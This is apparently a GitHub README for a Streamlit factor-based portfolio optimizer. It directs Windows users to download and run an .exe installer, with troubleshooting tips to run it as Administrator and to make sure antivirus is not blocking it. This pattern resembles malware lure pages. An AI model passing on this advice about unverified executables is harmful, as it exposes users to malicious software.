Skip to content

nestiva5731/Factor-based-Portfolio-Optimizer---Streamlit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 

Repository files navigation

📊 Factor-based-Portfolio-Optimizer---Streamlit - Smart Portfolio Optimization Made Simple

Download Factor-based-Portfolio-Optimizer


📋 About This Application

The Factor-based-Portfolio-Optimizer---Streamlit is a tool that helps you create smarter stock portfolios. It uses proven methods to pick the best mix of stocks, balancing risk and return. With factors like market trends, sector limits, and risk measures, it finds an optimized portfolio for you.

You do not need experience in finance or programming. The app runs on your Windows computer with a few simple steps. It provides clear charts and live feedback so you can see how your portfolio would have performed in the past.

This tool uses Streamlit, which means it opens in your web browser and works like a simple app, no complex installation needed.


🎯 Key Features

  • Optimizes stock selection based on quantitative factors
  • Uses Mixed Integer Linear Programming (MILP) for precise solutions
  • Estimates rolling beta to track risk over time
  • Applies sector limits to avoid over-concentration in one area
  • Offers live, interactive backtesting to see past performance
  • Displays clear charts and analytics for decision support
  • Runs locally through a simple Streamlit web app
  • Supports common portfolio constraints and user preferences

🖥️ System Requirements

Before you start, make sure your Windows PC meets these requirements:

  • Operating System: Windows 10 or later (64-bit recommended)
  • Processor: Dual-core 2 GHz or faster
  • RAM: 4 GB minimum (8 GB recommended)
  • Disk Space: At least 200 MB free for installation and data
  • Internet Connection: Required to download and run the app
  • Browser: Modern web browser such as Edge, Chrome, or Firefox

🚀 Getting Started - Download and Run the App

  1. Open this page to download the software:

    Download Factor-based-Portfolio-Optimizer

  2. On the releases page, look for the latest release. It usually shows a version number like v1.X.X.

  3. Under the latest release, find the file named something like FactorPortfolioOptimizer.exe or setup.exe.

  4. Click the file to download it to your computer.

  5. Once downloaded, navigate to your Downloads folder or wherever you saved the file.

  6. Double-click the .exe file to start the installation. Follow the instructions on the screen.

  7. After installation finishes, the app should launch automatically in your default web browser.

  8. If it does not open, find the app shortcut on your Desktop or Start menu and click it.

  9. The app will open in a web browser window. You can start exploring portfolio options right away.


🔧 How to Use the Application

Step 1: Choose Your Portfolio Settings

  • Select the stocks or assets you want to include.
  • Set any limits you want on sector exposure.
  • Choose your risk level preferences.
  • Pick the period for backtesting.

Step 2: Run the Optimizer

  • Click the “Optimize” button.
  • The app runs its calculations and shows you the recommended portfolio weights.
  • It will also display estimated returns and risks based on past data.

Step 3: Check Backtest Results

  • Use the interactive charts to see how your portfolio would have done in past market conditions.
  • Adjust your settings if you want to test different scenarios.

Step 4: Export Your Portfolio

  • Download the portfolio details to a CSV file.
  • Use this file as a guide for your investments or further analysis.

💡 Tips for Better Results

  • Use the default sector constraints unless you have a clear reason to change them.
  • Test several risk levels to find what suits your comfort.
  • Check the rolling beta charts to understand how your portfolio’s risk changes over time.
  • Update the app regularly to get improved features and data.

🛠 Troubleshooting

  • If the app does not open, make sure your browser is updated.
  • If the installation fails, try running the installer as Administrator.
  • Ensure no antivirus software is blocking the installation or running app.
  • If the optimizer runs slowly, close other heavy programs.
  • For missing data errors, check your internet connection.

📂 About the Source Code

This application uses Python with libraries for optimization, data visualizations, and web apps. The core logic relies on Mixed Integer Linear Programming to solve portfolio problems under constraints. The app uses Streamlit to provide an easy-to-use interface with charting and live feedback.

If you want to explore the code or customize the app, you can find the source here on GitHub. Running the source requires basic Python knowledge, but using the downloadable installer does not.


🔗 Links


👥 Support and Feedback

You can report issues or ask questions in the GitHub "Issues" section of this repository. Please provide clear details about your problem or suggestion. This helps improve the app for everyone.